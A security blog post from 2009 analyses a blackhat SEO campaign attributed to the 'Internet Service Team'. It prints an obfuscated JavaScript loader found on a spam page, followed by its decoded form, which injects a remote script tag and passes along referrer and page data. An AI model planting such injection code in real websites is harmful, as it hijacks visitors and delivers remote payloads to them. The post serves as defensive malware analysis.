Blog for hpHosts, and whatever else I feel like writing about ....

Tuesday, 5 May 2009

IST (Internet Service Team - * in blackhat SEO campaign - again

So much has been documented on the IST over the years, that mentioning them now, just doesn't give the same sense of "wow" as it used to - we're so used to the crap they get up to now, that it just doesn't surprise us anymore.

The latest I've come across is certainly nothing new, Blackhat SEO has been going on for years, but is interesting in that the domain it points to ( - doesn't actually seem to resolve (kinda defeats the object there guys). OpenDNS, even after refreshing the cache, is showing 3 servers returning "Did not resolve" and the other 3 returning a "SERVFAIL" error.

There's no denying that the IST are involved in this, as the IP PTR kinda gives it away. However, I do find their code a little interesting (though not as interesting as those that use obfuscation, as it takes the challenge away).

Loading the site listed in Google, in vURL shows;

vURL Desktop Edition v0.3.7 Results
Source code for:
Server IP: [ ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Scripts: 0
iFrames: 0
via Proxy: MontanaMenagerie (US)
Date: 06 May 2009
Time: 03:01:21:01

<script language="Javascript" type="text/javascript">var ddxform=[];ddxform[0] = "";ddxform[1] = "";ddxform[2] = "";ddxform[3] = "";ddxform[4] = "";ddxform[5] = "";ddxform[6] = "";ddxform[7] = "";ddxform[8] = "";ddxform[9] = "";ddxform[10] = "";ddxform[11] = "";ddxform[12] = "";ddxform[13] = "";ddxform[14] = "";ddxform[15] = "";ddxform[16] = "";ddxform[17] = "";ddxform[18] = "";ddxform[19] = "";ddxform[20] = "";var pukne='';for (var i=0;i<ddxform.length;i++){var elmpr=ddxform[i];pukne=pukne+elmpr.substr(elmpr.indexOf('?')+1);}var bkuve='';for (var erden=0;erden<pukne.length;erden+=2){var kuhnr=pukne.charCodeAt(erden)-97;if(kuhnr<0)kuhnr+=58;kuhnr=kuhnr%5;var ircmu=pukne.charCodeAt(erden+1)-97;if(ircmu<0)ircmu+=58;var zbokp=kuhnr*52+ircmu;bkuve+=String.fromCharCode(zbokp);};eval(bkuve);</script>

This decodes to;

var qkeys=['q', 'p', 'query', 'wd', 'searchfor', 'qs', 'string', 'w', 'as_q'];var ref = document.referrer; var query = ''; var parts = new Array(); parts = ref.split('?'); if (parts.length>1) { var datas = new Array(); datas = parts[1].split('&'); for (var i=0;i<datas.length;i++) { var data = new Array(); data = datas[i].split('='); for (var j=0; j<qkeys.length; j++) if (data[0] == qkeys[j]) {query = data[1]; break;}; if (query != '') break; };};query = unescape(query); query = escape(query); var d=new Date; rzz=d.getTime(); document.write("<scr"+"ipt src='"+query+"&referer="+escape(document.referrer)+"&href="+escape(location.href)+"&r="+rzz+"'><"+"/scr"+"ipt>");

At this point, I'm a little unsure as to the point of the URL's being there, as they don't actually seem to lead to anything (meant to lead to spamvertised profiles perhaps?, who knows - just leads me to at the moment, irrespective of whether I'm signed in to or not).

One other site seems to be on the same IP as this,, but that's failing to resolve too for some reason. It could be a problem with the NS, or it could be a problem at OpenDNS's end (unlikely since other DNS servers I've checked are showing the same thing), it is at this point, irrelevant.

/edit 04:41 06-05-2009

Added vURL Online results.

No comments: